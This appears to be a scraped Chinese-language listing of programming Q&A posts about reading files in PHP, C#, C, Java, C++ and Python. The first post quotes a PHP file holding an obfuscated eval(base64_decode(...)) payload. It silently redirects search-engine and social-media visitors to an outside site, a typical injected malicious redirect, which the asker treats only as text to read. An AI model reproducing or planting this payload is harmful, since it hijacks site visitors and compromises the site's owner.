标签: readfile

如何使用PHP从php文件中读取数据?

我想在文件A.php中使用php代码来读取另一个php文件B.php的数据.所以B.php中的所有php脚本都不会执行,它只是字符串.

不幸的是,当我在A.php中读取它时,B.php中的数据正在执行.

这是A.php中的代码:

$handle = @fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = @filesize('B.php');
$str = $filesize ? @fread($handle, $filesize) : null;
@fclose($handle);

if (!$str) {
    echo 'B.php is empty!';
    exit;
}
else {
    //TODO continue process
}
Run Code Online (Sandbox Code Playgroud)

这是B.php中的代码:

<?php       eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>
Run Code Online (Sandbox Code Playgroud)

注意:B.php文件不能更改.我的代码在A.php中

更新:当我从A.php读取时,B.php中的数据没有执行.但是我怎么能打印出数据呢?因为我使用打印它echo $str,浏览器中没有显示任何内容.

php readfile

-1
推荐指数
1
解决办法
300
查看次数

如何从另一台计算机上读取文本

我试图使用IP地址从其他计算机读取该文件,但我无法读取该文件.它引发了异常,如"无法找到路径的一部分"E:\ IPFile_Read\IPFile_Read\bin\Debug\@\ip地址\测试\ News.txt'"

码:

 {

                StreamReader sr = new StreamReader("@\\IPaddress\\Test\\News.txt");
                line = sr.ReadLine();

                while (line != null)
                {
                    text_Data.Text = line;
                    line = sr.ReadLine();
                }
                sr.Close();
                Console.ReadLine();
            }
Run Code Online (Sandbox Code Playgroud)

如何从另一台计算机上读取文本文件.

.net c# file ip-address readfile

-1
推荐指数
1
解决办法
578
查看次数

从C中读取图像的十六进制值

我正在尝试使用C从图像文件中读取十六进制值.在Linux中,此代码工作正常,但在Windows中它只读取前334个字节,我不明白为什么.

读取文件的代码是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>    
void readHexFile(char* path) {
        FILE *fp;

        if ((fp = fopen (path, "r")) != NULL) {
            struct stat st;
            stat(path, &st);                

            int i;
            int ch;
            for (i = 0; i < st.st_size; i++) {
                ch = fgetc(fp);             
                printf("%x ", ch);
            }

            fclose(fp);
        }
        else {
            return NULL;
        }
}
Run Code Online (Sandbox Code Playgroud)

st.st_size来自<sys/stat.h>包并包含正确的值(图像文件的大小,以字节为单位)

此图显示了我的程序输出的内容,以及它正在读取的文件的实际二进制内容:

在此输入图像描述 当你的序列后看到17,18,19也有十六进制值,但我的程序打印ffffffff多次.

c hex readfile

-1
推荐指数
1
解决办法
725
查看次数

读取和拆分文本文件(java)

我有一些带有时间信息的文本文件,例如:

46321882696937;46322241663603;358966666
46325844895266;46326074026933;229131667
46417974251902;46418206896898;232644996
46422760835237;46423223321897;462486660
Run Code Online (Sandbox Code Playgroud)

现在,我需要文件的第三列来计算平均值.

我怎样才能做到这一点?我需要获取每个文本行,然后获取最后一列?

java file-io parsing split readfile

-3
推荐指数
1
解决办法
4万
查看次数

WinAPI ReadFile返回损坏的数据

我正在Visual C ++项目中编写一个函数,该函数以2000字节为增量通过WinAPI读取文件的内容,并将其作为std :: string返回。

当文件远大于缓冲区(例如100 KB)时,会出现问题,在有效数据中间,我在文件中的多个位置添加了垃圾。这是一个长0xcccccccc...序列,由3-4个其他字节终止,通常出现在一个单词的中间。否则,该功能不会失败,并且不会丢失任何有效数据。

我没有检查确切的位置,但似乎这发生在缓冲区大小增加(或缓冲区大小增加的乘数)上。如果我将缓冲区的大小增加到大于测试文件的大小,那么问​​题就消失了。是什么原因导致这种情况发生?我究竟做错了什么?

std::string read_file(std::string filename) {
    HANDLE hFile = CreateFile(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        std::string errortext("Error opening " + filename + ", bad handle value: " + to_string((int)hFile));
        MessageBox(hwnd, errortext.c_str(), "Error", 0);
        return "";
    }
    char buffer[2000] = "";
    std::string entire_file = "";
    DWORD dwBytesRead = 0;

    while (ReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead, NULL))
    {
        if (!dwBytesRead)
            break;
        entire_file += buffer;
    }
    CloseHandle(hFile);
    return entire_file;
}
Run Code Online (Sandbox Code Playgroud)

c++ winapi createfile visual-c++ readfile

-3
推荐指数
1
解决办法
81
查看次数

C ++读取在Python中创建的二进制文件中的地图

我创建了一个 Python 脚本,它创建了以下地图(插图):

map<uint32_t, string> tempMap = {{2,"xx"}, {200, "yy"}};
Run Code Online (Sandbox Code Playgroud)

并将其保存为map.out文件(二进制文件)。当我尝试从 C++ 读取二进制文件时,它不会复制地图,为什么?

    map<uint32_t, string> tempMap;
    ifstream readFile;
    std::streamsize length;

    readFile.open("somePath\\map.out", ios::binary | ios::in);
    if (readFile)
    {
        readFile.ignore( std::numeric_limits<std::streamsize>::max() );
        length = readFile.gcount();
        readFile.clear();   //  Since ignore will have set eof.
        readFile.seekg( 0, std::ios_base::beg );
        readFile.read((char *)&tempMap,length);
        for(auto &it: tempMap)
        {
          /* cout<<("%u, %s",it.first, it.second.c_str()); ->Prints map*/
        }
    }
    readFile.close();
    readFile.clear();
Run Code Online (Sandbox Code Playgroud)

c++ python io file readfile

-3
推荐指数
1
解决办法
397
查看次数

如何从文本文件中获取特定值

我有一个.txt文件:

80,90,100,110,120,130,140,150,160   
100,20,22,24,26,28,26,28,29,27   
110,30,32,34,36,37,39,37,39,40  
120,40,41,42,44,45,46,48,47,49
Run Code Online (Sandbox Code Playgroud)

表示百叶窗价格的表格,第一行是百叶窗的宽度,第一列没有80是高度.剩下的数字是价格.

我已经使用c#做了这个,但在java中我不知道该怎么做,在c#我的代码看起来像这样,一切都很好.有人能在java中向我展示同样的东西吗?theWidth和theHeight是我必须输入尺寸的文本字段.

                string[] lines = File.ReadAllLines(@"tabel.txt");
                string[] aux = lines[0].Split(',');
                for (int i = 0; i < aux.Length-1; i++)
                {
                    if (aux[i] == theWidth.ToString())
                    {
                        Console.WriteLine(aux[i]);
                        indiceLatime = i;
                    }
                }

                for (int i = 1; i < lines.Length; i++)
                {
                    aux = lines[i].Split(',');
                    if (aux[0] == theHeight.ToString())
                    {
                        showPrice.Text = aux[indiceLatime + 1];
                    }
                }
Run Code Online (Sandbox Code Playgroud)

在java中我尝试过这样的事情:

try {
        BufferedReader inputStream = new BufferedReader(new FileReader("tabel.txt"));
        int theWidth = 90;
        int theHeight = 100;
        int indiceLatime …
Run Code Online (Sandbox Code Playgroud)

java readline filereader bufferedreader readfile

-4
推荐指数
1
解决办法
6671
查看次数

标签 统计

readfile ×7

c++ ×2

file ×2

java ×2

.net ×1

bufferedreader ×1

c ×1

c# ×1

createfile ×1

file-io ×1

filereader ×1

hex ×1

io ×1

ip-address ×1

parsing ×1

php ×1

python ×1

readline ×1

split ×1

visual-c++ ×1

winapi ×1